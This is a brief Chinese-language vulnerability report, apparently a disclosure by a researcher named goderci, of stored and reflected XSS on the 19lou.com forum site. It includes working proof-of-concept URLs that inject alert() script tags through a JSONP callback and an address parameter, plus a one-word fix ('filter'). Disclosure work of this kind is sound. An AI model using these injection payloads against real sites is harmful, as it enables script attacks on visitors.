发帖处过滤不严，导致xss漏洞！
持久型：

http://www.19lou.com/forum-3206-thread-15301334835859518-1-1.html
http://www.19lou.com/forum-291-thread-18701334837491991-1-1.html
反射型

http://topic.19lou.com/club/2010/lottery/jsonbaby.php?callback=?test<script>alert(/goderci/)</script>
 
http://www.19lou.com/haodian/list/business?categoryId=1&regionId=0&address="/><script>alert(/goderci/)</script>
 
漏洞证明：http://www.19lou.com/forum-3206-thread-15301334835859518-1-1.html
 
 
 
 
 
 
 
 






http://www.19lou.com/forum-291-thread-18701334837491991-1-1.html
 
 
 
 
 


 
 
 
 
 
 
修复方案：
 
过滤！
 
作者goderci